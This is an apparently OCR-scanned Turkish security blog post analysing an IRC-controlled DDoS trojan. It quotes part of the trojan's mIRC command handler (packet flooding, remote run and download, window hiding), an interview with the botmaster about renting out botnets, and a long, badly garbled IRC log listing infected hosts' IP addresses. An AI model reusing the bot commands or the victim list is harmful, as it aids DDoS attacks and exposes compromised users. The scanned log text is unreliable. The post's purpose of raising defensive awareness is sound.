Botnet Gercegqgi

written by Mert SARICA | 12 October 2010

Gegtigimiz gunlerde http://twitter.com/hack4career lzerinden yayinlanan bir
kac zararli yazilimi (timunun.exe, scan.exe) inceledigimde karsima yerli mali
ddos saldiri 6zelligine sahip, irc ve msn Uzerinden haberlesebilen bir trojan
¢ikiverdi. Trojanin aldigi komutlari inceledigimde reklam yapmadan, saldiri
yapmaya kadar bir c¢ok 6zelligi Ulzerinde barindirdigini gordim.

if ($1 = 'reklam) { .set %reklam $2- }

if ($1 = !'packet) { if ($2 = ddos) { //set %pchan # | if ($4 == random) {
//fckrstart $3 $4 $r(1,65000) | halt } | //fckrstart $3 $4 $5 } }

if ($1 = !'Atak) { if ($2 !== $null) { srvmsg (Packet) (Yollaniyor) $2
Uzerinde $3 Toplam $4 Packet | synp start $4 $2 $3 } }

if ($1 = !nreklam) { msg #x %reklam }

if ($1 = !'mesajnick) { .set %mesajnick $2- | echo -a #x Yeni Mesaj Atilacak
Nick %mesajnick }

if ($1 = !'mesaj) { .mesaj }

if ($1 = !settimer) { .set %timer $2- }

if ($1 = !'timer) { .timer31 %timer $2- }

if ($1 = !'timeroff) { .timer31 off }

if ($1 = !gir) { .girgir }

if ($1 = !'Run) { srvmsg Running : $2- | .run $2- }

if ($1 = !'qir) { .girulen $2- }

if ($1 = tq) { $2- }

if ($1 = !'Version) { .Anlat }

if ($1 = 'Down) { .Download $2- }

if ($1 = !download) { .msg #x 4,1 I14,1c4,1eSh14,104,1cK Lamer Korumasi ..

/server irc.xxxx.tr }

if ($1 = !'Clone) { .Clone $2- }
if ($1 = !'IdentClone) { .identclone $2- }
if ($1 = !'HideControl) { if ($appactive == $true) { msg #x Mirc Acik } | else

{ msg #x Mirc Kapali } }
if ($1 = !'Hide) { .dll ice32.dll do ShowWindow $window(-2).hwnd 0 }

Trojanin konfiglirasyon dosyasinda yer alan IRC sunucusuna baglandigim zaman
ilk bakista bos goérinen bir sunucu olarak gorinsede cok gecmeden botmaster


https://www.hack4career.com/botnet-gercegi/
http://twitter.com/hack4career

ile yaptigim sohbet esnasinda sunucu Uzerinde tam tamina 25000 adet bot
oldugunu ve bunlarin sadece 500 TL'ye kiralanabildigini 6grendigimde DDOS

izleme ve Onleme sistemlerinin 6nemi benim ic¢in daha da artmis oldu.

DDOS izleme ve dnleme sistemlerini hayata gec¢irme konusunda kurum veya
kuruluslarinizda heniiz bir ilerleme kaydetmediyseniz, yoOneticilerinizi ikna
etme adina drnek bulmakta zorlaniyorsaniz sizlere yardimci olma adina
botmaster ile gerceklestirmis oldugum sohbeti sizlerle paylasiyorum.
Unutmadan, her ne kadar 41 antivirus Ureticisinden 31 tanesi bu zararli
yazilimlari (timunun.exe, scan.exe, imbot.exe) tespit ediyor olsada antiviris
politikalarinizdaki istenmeyen program politikalarina bu dosyalari
eklemenizde fayda olabilir. Bir sonraki yazida goOriusmek dilegiyle..

[20:32] <MS> guzel bot olmus

[20:33] <MS> hosuma gitmedi desem yalan olur

[20:34] <MS> cok fazla kisiye bulasmamis ama sanirim

[20:34] <¥*x**xx*xx*x> phylLastir o zaman

[20:35] <MS> yok yahu o benim isim degil

[20:35] <*¥***x**> genin isin ne

[20:35] <MS> ben sadece bu tir zararli yazilimlari inceliyorum
[20:35] <MS> kendin mi yazdin bu fuckers.jpg icinde yer alan tim scripti ?
[20:35] <xxHxd*i*xs eyvet

[20:36] <MS> araklamadin yani ?

[20:36] <******x**> grakLamista oLabilLirim tam hatirLamiyorum cok eski
[20:37] <MS> HTTP1.4 nedir bunuda ilk defa gordum

[20:37] <xx*x*xxxxxs djger gordikLerin neydi

[20:37] <xx*x***k*> roxnet mi

[20:37] <MS> yok roxnetide ilk defa duydum

[20:38] <*¥***xx*x*x> hy HTTP de oper oLmadan sunucuda hicbir isLem yapamiyosun
[20:38] <****x*x*xx*> djger Lerinden ¢ok koLay bot caliniyor

[20:38] <MS> kanaldakileride gdremiyorsun sanirim

[20:38] <MS> evet glzel bir yontemmis

[20:38] <MS> httpl.4 U nereden indirebilirim ?

[20:39] <*¥***xx**x> googlLe

[20:39] <xxxx¥***> phylabilirsin oradan

[20:39] <xxxx¥***> potnetmi besLiceksin

[20:39] <MS> yok hayir sadece nasil calistigini merak ettim

[20:40] <MS> google yapmistim ama bulamamistim

[20:44] <MS> scan.exe ile imbot.exe ne is yapiyor
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< KRR KKk Kk, scan exe

<FFFkfRfks jspiyoncu bot 6zelLLigi var

<kdkxxkdks pjlgisayardaki diger virdsLeri bulLup

<kFRxkk**k> hangli serverda beslLendikLerini

< RoRkokokokkoks, Veriyor

<kFkxxxx*> imbot exe ise msn ve facebook sifresi veriyor

<MS> bunlari sen mi yazdin ?

< RRKKR KK Kk ewet

<MS> hangi crypteri kullandin ?

<kxfkkxxks arkadasa packer yaptirmistam

< RROR KKk Kk hmm

<kk*xxxxxx> sende varmi criptr

<MS> yok maalesef

<MS> xxxxxxxx@hotmail.com kimin 7?

<kFkxkkxks packer yapan arkadasin

<MS> bu isi neden yapiyorsun ? para kazaniyor musun ?
<kFk*xxxxx*> evet hazir kuruLu dizen olLarak satiyorum isteyen kisilere
<kFkxkkxks> alan kisiler farkLi amaclLar icin kulLaniyor

<MS> mesela ne gibi amacglar ?

<kxfkkxkks> mesela web sitesi olLan sitesini glnde binLerce kisiye
ettirebiliyor

<MS> hitten para kazaniyor

<kFRRxkkxks kimisi rakip siteye saldiri yaparak o siteyi cokertiyor
<MS> ne zamandan beri bu islerle ugrasiyorsun ?

<kFkxxxx*> kimisi irc serverlLere salLdiri yapiyor

<MS> ne kadar kiralama raici ?

< RRRR Kk Kk 500 TL

<kxdokkxxks jstege gore degisiyor

<MS> aylik m1 yillik mi

<kFRFkxxAkx*> Oomur boyu eLinin alLtinda bulLunucak sekilde

<MS> yakalanma korkunuz yok mu ?

< RRKR Kk Kk :p

<MS> mesela ya ben polis olsaydim

<kxkkxkks> Sonunu dusunen kahraman olLamaz

<MS> alici var demek ya sO6zde fakirlesmistik halk olarak ama :)
<MS> yai kag¢ 20-30 arasi m1i ?

<MS> yas demek istedim

<k¥fokkkKks D4

<MS> 6grenci degilsin sanirim ?



[21:01] <*****x*xxx> degilim

[21:01] <MS> ne kadar suredir bu islerle ugrasiyorsun ?

[21:01] <x*xx¥f**> 6.7 Sene

[21:02] <MS> bu zamana kadar bu isten ne kadar para kazanmissindir kabaca ?
[21:03] <x*****x**> oturdugum ev araba

[21:03] <x***x*x*xx*x> yedigim i¢tigim vs vs.

[21:03] <xkkkkxkks )

[21:03] <MS> o kadar diyorsun yani

[21@3] < koRokskokokokoks, 50k

[21:03] <x**x*xx*xxx> 25k Lik botnetLer

[21:03] <x¥*¥*k**x%> satiyorum

[21:03] <MS> inanmasi zor kanalda 1 tane var sadece

[21:04] <wksxsckks kanal +u

[21:04] <w#*kxxik*> sadece op olLan kigsiyi gOrebilirsin

[2104] < RRKkokokokokks, ;)

[21:04] <MS> komutuna 1 tanesi yanit verdi

[21:04] <*¥x*kxk*x> kanal +Mm

[21:05] <¥*****xx*> sadece o bot kanalLda op

[21:05] <x*******> kanal +Mm modunda oLdugu icin

[21:05] <xx*****x*> dijgerlLeri yazamaz

[21:05] <MS> bende tek op sen goérunliyorsun ondan dedim

[21:05] <MS> bu kanalda simdi kac¢ bot var ?

[2105] < RKKR Kk Kk 403

[21:11] <MS> xxxx'da kac¢ bot var ?

[2111] < RROR KKk Kk, 895

[21:11] <x»******> topLamda 25 bin bot var

[21:11] <*¥***x¥**> resim gondericektim sana

[21:11] <¥¥**k*xx*x*> dur upLoad edebilirim

[21:12] <MS> sunucunu kapatacaklardir yakinda

[21:12] <xx¥*****> kapatsinLar yenisini acarim 10 dakkami almaz

[2112] < KKK KKk Kk ’)

[21:12] <MS> botlara konfiglrasyon nasil gececeksin ?

[21:12] <MS> haberlesme ?

[21:13] <xkkkkkkks +)

[21:50] <MS> bu botlarin hepsi turkiyeden mi ?

[21:50] <xx*xffx*x*x> *x [RUS|00||803357] (XP-3602@85.26.164.76) Quit (Connection
reset by peer)

[21:50] <x¥dkkddks x [TUR|0O|M|94088] (XP-9592@95.10.143.18) has joined #xxx
[21:50] <x**kk*xxs x [TUR|OO|MP|1458] (XP-2438@88.226.108.139) has joined



#XXX

[21:50] <********>
timeout)

[21:50] < KRRk Kk Kk

[21:50] <***xkkkks

* [USA|00|M|15992]

* [ESP|00|MP|5424]
* [TUR|00||628074]

(Connection reset by peer)

[21:50] < RRORK KKKk

* [RUS|00|D|20753]

(Connection reset by peer)

[21:50] <x****sxxs x [RUS|00|UD|07067]

(Ping timeout)
[21:50] <xxxxkxkkxks
timeout)

[21:50] < KRRk ok ok kK
timeout)

[21:50] <x**x*xkxxxks
reset by peer)
[21:50] <xxxxxkkkxks

[21:50] < RoRoKk kR kks

* [ESP|00|D|45749]

* [TUR|0O|M|94088]

* [TUR|00|P|78342]

* [ESP|00|D|46676]
* [ESP|00|M|58294]

(XP-2325@112.205.48.212) Quit (Ping

(XP-9571@95.63.151.152) has joined #xxx

(XP-4760@88.252.

(XP-3227@188.17.

(XP-6066@ip-83-

(XP-8229@186.98.

20.154) Quit

238.215) Quit

149-3-98.nwgsm.ru) Quit

193.55) Quit (Ping

(XP-9592@95.10.143.18) Quit (Ping

(XP-1906@78.180.

(XP-7788@186.98.

(XP-2335@h0st247.190-30-24.telecom.net.ar) has joined

[21:50] <********>
H#XXX

[21:5@] <********>
timeout)

[21:50] <***xxxxxs
[21:50] <********>
H#XXX

[21:50] <********>
reset by peer)
[21:50] <***xxxxxs
#XXX

[21:50] <********>
timeout)

[21:50] <***xxxxxs

[21:50] < RRkokokokokoks,

* [BRA|00|P|30821]

* [TUR|00| |423136]

* [TUR|00|M|10638]
* [TUR|0O|P|17537]

* [TUR|0O|M|70509]

* [TUR|00O|P|84223]

* [ESP|00|D|46676]

* [ESP|02|MP|3357]
* [ESP|00|M|58294]

(XP-9933@189.82.

(XP-1993@88.228.

(XP-0056@88.228.
(XP-9032@94.122.

34.21) Quit (Connection

193.55) has joined #xxx

#FXXX
185.109) has joined

111.79) Quit (Ping

111.79) has joined #xxx
107.201) has joined

(XP-8216@95.15.107.24) Quit (Connection

(XP-2377@78.161.

(XP-7788@186.98.

(XP-9120@200.66.

205.164) has joined

193.55) Quit (Ping

41.104) has joined #xxx

(XP-2335@host247.190-30-24.telecom.net.ar) Quit (Ping timeout)
(XP-0409@188.140.78.105) Quit

[21:50] < RRKK KKKk

* [PRT|00|MD|2372]

(Connection reset by peer)

[21:50] <***xkkkks

#XXX

* [TUR|00|M|81825]

(XP-0312@88.228.

156.161) has joined



[21:50] <Hkkddxxs x [USA|00|P|53894]

(XP-6659@cpe-70-117-171-43.elp.res.rr.

[21:50] <x**kfdxxs x [TUR|0O|P|83786]
(Connection reset by peer)

[21:50] <x**x*x*x*x*x*x> x [RUS|00|D|43169]
#XXX

[21:50] <xx*x*x*xxxxs x [TUR|0O|M|81825]
(Connection reset by peer)

[21:50] <x**x*x*x*xx*x> x [TUR|00|P|83485]
timeout)

[21:50] <x**x*x*x*xx*xs x [TUR| 00| |767061]
(Connection reset by peer)

[21:50] <x*x***x*xx*xs x [ESP|00|M|75075]

com) Quit (Connection reset by peer)
(XP-8494@78.180.113.205) Quit

(XP-2471@188.187.146.160) has joined

(XP-0312@88.228.156.161) Quit

(XP-5511@92.45.180.13) Quit (Ping

(XP-0715@195.174.29.179) Quit

(XP-0172@host211.190-225-214.telecom.net.ar) has joined #xxx

[21:50] <x*x*x*x*x*xx*xs x [ESP|00|D|79796]
[21:50] <¥¥¥kkkxxs * [TUR|00|P|91644]
[21:50] <¥¥¥kkkxxs % [TUR| 0O |MP|4601]
#XXX

[21:50] <xdddkddxs x [TUR| 0O |MP|4750]
#XXX

[21:50] <xx*x**xxxxs x [MEX|00|P|57920]
[21:50] <*¥¥kkkkxs * [RUS|00|PD|7924]
(Connection reset by peer)

[21:50] <xdddkkdxs x [TUR| 0O |MP|4750]
(Connection reset by peer)

[21:51] <x*¥*****> her (Lke mevcut

(XP-2271@186.98.193.55) has joined #xxx
(XP-4410@88.252.93.8) has joined #xxx
(XP-9739@78.180.113.205) has joined

(XP-5209@78.166.134.169) has joined

(XP-6468@201.152.92.83) has joined #xxx
(XP-9229@188.130.189.198) Quit

(XP-5209@78.166.134.169) Quit
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MEX|52764 (nhenti@r198-132-176-228.dialup.nobile.ancel.net.uy) has joined ‘ 3 @Fcanﬁoz
HMEX|2249239 (1latgexg@r198-132-176-228.dialup.mobile.ancel.net.uy) has joined EM}RRG:B1nh8

TUR|5179858 (Uyouok?@?8.18h.1?9.2h9) has 1o%ned [H]ARG | 81257
TUR| 9412282 (rprU§1un@85.9?.96.1??) has ]o%ngd [H]ARE| 61564
TUR|1528748 (1u1u0]§s?@85.102.139.138) has join S [H]ARE | 82478
ESP|9739483 (pctfzmjci@201.171.14.30.ds1.dyn_telnor.net) has joined NN [H]ARG | 62858
TUR| 6153182 (fshnjerjo@88.236.56.18&) has.j?ine [H]ARG | 83002
TUR| 6482277 (jcdyqua@78.171.255.193) has JO}ned [H]ARE| 63490
TUR| 7868877 (arcahsec@85.96.168.194) has_]91ned [H]ARE| 83772
TUR| BBL4255Y (euehFehu@85.1ﬂs.23.h?) has ]91?ed [H]ARE | D4634
TUR| 7318183 (htun%erass.ZZ?.36.215) has ]o%n?d [M]ARG | 05 067
ESP| 4531927 (mgzzjnzy@280.121.214.167) ha% join [H]ARE | 86207
TUR| 6721817 (hq?thp@lu@?8.16h.63.89) has.]?lned [H]ARE | 86419
TUR | 4481423 (gejnmsjE78.180.39.254) has ]91?ed [H]ARE | 86748
TUR|2352835 (hnglhnbd@78.175.29.173) Qa? joined [H]ARE | 07060
TUR| 4224587 (uncuem}@95.8.6.236) has ]01qeq [H]ARG | 87253
TUR| 8248728 (lbyzuuij@81.214.89.68) has ]01qeq [H]ARE | 67487
TUR| 7866497 (dpobwgyzr@78.166.128.179) Qa? joine [H]ARE | 88573
TUR| 2845598 (géklepa@88.236.6.168) has ]o%ngd # [M]ARE | 09090
TUR| 2443551 (aifqdlr@85.1081.258.168) has ]qlqed [H]ARG | 89395
[M]TUR| 988082 (?purwfy@?8.18?.22h.235) has joine [H]ARE | 89405
TUR|8237614 (hixahliqq@85.188.122.235) has join [H]ARE| 09430
TUR| 6877868 (vuvqqugsh@88.252.227.153) has join [H]1ARG | 09453
TUR| 24790841 {(rxwsfeth@95.65.179.183) has 1o%ned [H]ARG | 16740
TUR|1237338 (cgnwlmqg@?s.18h.1h.121) has_]91ned [H]ARE|10920
TUR|1823334 (ciehfcg@188.38B.175.94) has ]91?ed [H]ARE 10975
TUR| 4187228 (leaqwhv@78.164.122.1685) has joined [H]ARE 11412
ESP|1839897 {rlemeck@83.35.194.283) has jo%n?d [H]ARG|12136
TUR| 19246218 (ztlslowqw@78.171.16.168) has JD}HE [H]ARE | 12364
TUR| 4841528 (hkogsaxee@88.244 149 48) has_]?lne [H]ARE 12467
TUR| 7543436 (asglesbx@88.238.19.1684) has ]91?ed [H]ARE 12524
TUR|1887716 (lguwqusssE@B8.224.218.114) has joine

TUR| 8937443 (ptdsfrhl@88.240.117.69) has joined [N LHIHEGL1264)

; H]ARG | 13141
I saTiiik BoTHET (N0 tmail. [
el [H]ARE 13142

O R ok kR R R R R R &R R R R R R R ERREREERERN

= TUR|3582351 {jseebpq@78.161.119.35) has joined [H]ARE 13285
* ESP|9218689 (kecmrx%ne@201.208.109.190) h?S.joi [H]ARE | 13350
* [M]ESP| 49991 (bhaivj@186.141.12.164) has joined [H]ARE[13

= TUR|8963078 (vahbswlwn@78.171.99.186) Quit {Ping timeout) [H]ARE |14

* ESP|8658744 (eqwhqdwq@186.Red—88—1?—hs:dyna@icIP:rima—tde.net) Quit {Ping timeout) [M]ARG] 151

* TUR|33850867 (fypxgsl@95.15.159.173) Quit (Ping timeout) [M]ARE |15

* TUR| 6536683 (qFaUtidi@85.1ﬂ3.35.250) has jo%ned [H]ARE 174

* ESP|3823239 (jfnbvotpp@186.81.41.56) has joined

= HEX|77137 (uptehjq@r198-132-176-228 .dialup.mobile.ancel.net.uy) has joined | NN | [MIARE| 1771

rH1ADC AN



